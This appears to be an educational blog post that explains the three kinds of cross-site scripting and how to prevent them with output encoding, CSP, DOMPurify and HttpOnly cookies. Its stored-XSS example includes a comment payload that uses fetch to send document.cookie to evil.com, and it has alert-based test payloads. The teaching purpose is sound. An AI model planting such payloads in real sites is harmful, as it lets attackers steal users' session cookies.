By Rahul — Google Frontend Engineer
The Attack in Simple Terms
XSS (Cross-Site Scripting) happens when an attacker injects malicious JavaScript into a web page that other users view. The script runs with the same privileges as the legitimate page — it can steal cookies, capture keystrokes, redirect users, or modify the page content.
Three Types of XSS
1. Stored XSS (Most Dangerous)
The malicious script is stored on the server (in a database, comment, profile). Every user who views the page is affected.
// Attacker posts a comment:
// "Great article! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
// If the app renders this without escaping:
<div class="comment">
Great article! <script>fetch(...)</script>
</div>
// The script executes for every visitor2. Reflected XSS
The malicious script is in the URL. The server includes it in the response without escaping.
// Attacker crafts a URL:
https://example.com/search?q=<script>alert(document.cookie)</script>
// Server renders:
<p>Search results for: <script>alert(document.cookie)</script></p>3. DOM-based XSS
The vulnerability is entirely in client-side JavaScript. The server never sees the payload.
// Vulnerable code
document.getElementById('output').innerHTML = location.hash.slice(1);
// Attacker URL:
https://example.com/#<img src=x onerror=alert(1)>
// The innerHTML renders the attacker's HTMLPrevention
1. Output Encoding (Most Important)
// NEVER insert user input as raw HTML
element.innerHTML = userInput; // DANGEROUS
// Use textContent instead
element.textContent = userInput; // SAFE — treats as text
// React does this automatically
<div>{userInput}</div> // SAFE — React escapes by default
// But dangerouslySetInnerHTML bypasses it
<div dangerouslySetInnerHTML={{__html: userInput}} /> // DANGEROUS2. Content Security Policy (CSP)
// HTTP header that blocks inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
// Inline scripts will not execute even if injected
// This is a defense-in-depth measure3. Sanitize HTML When You Must Allow It
// Use DOMPurify for user-generated HTML
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href']
});
// Removes scripts, event handlers, dangerous attributes4. HttpOnly Cookies
// Even if XSS succeeds, the attacker cannot steal the cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
// document.cookie cannot access HttpOnly cookiesReact-Specific Concerns
dangerouslySetInnerHTML: Always sanitize with DOMPurify first- URL injection:
<a href={userInput}>— validate that it starts with https://, not javascript: - Server-side rendering: Ensure data is escaped before hydration
Summary
XSS injects malicious scripts into your page. Prevent it with output encoding (React does this by default), CSP headers, DOMPurify for HTML content, and HttpOnly cookies. Never use innerHTML with user input.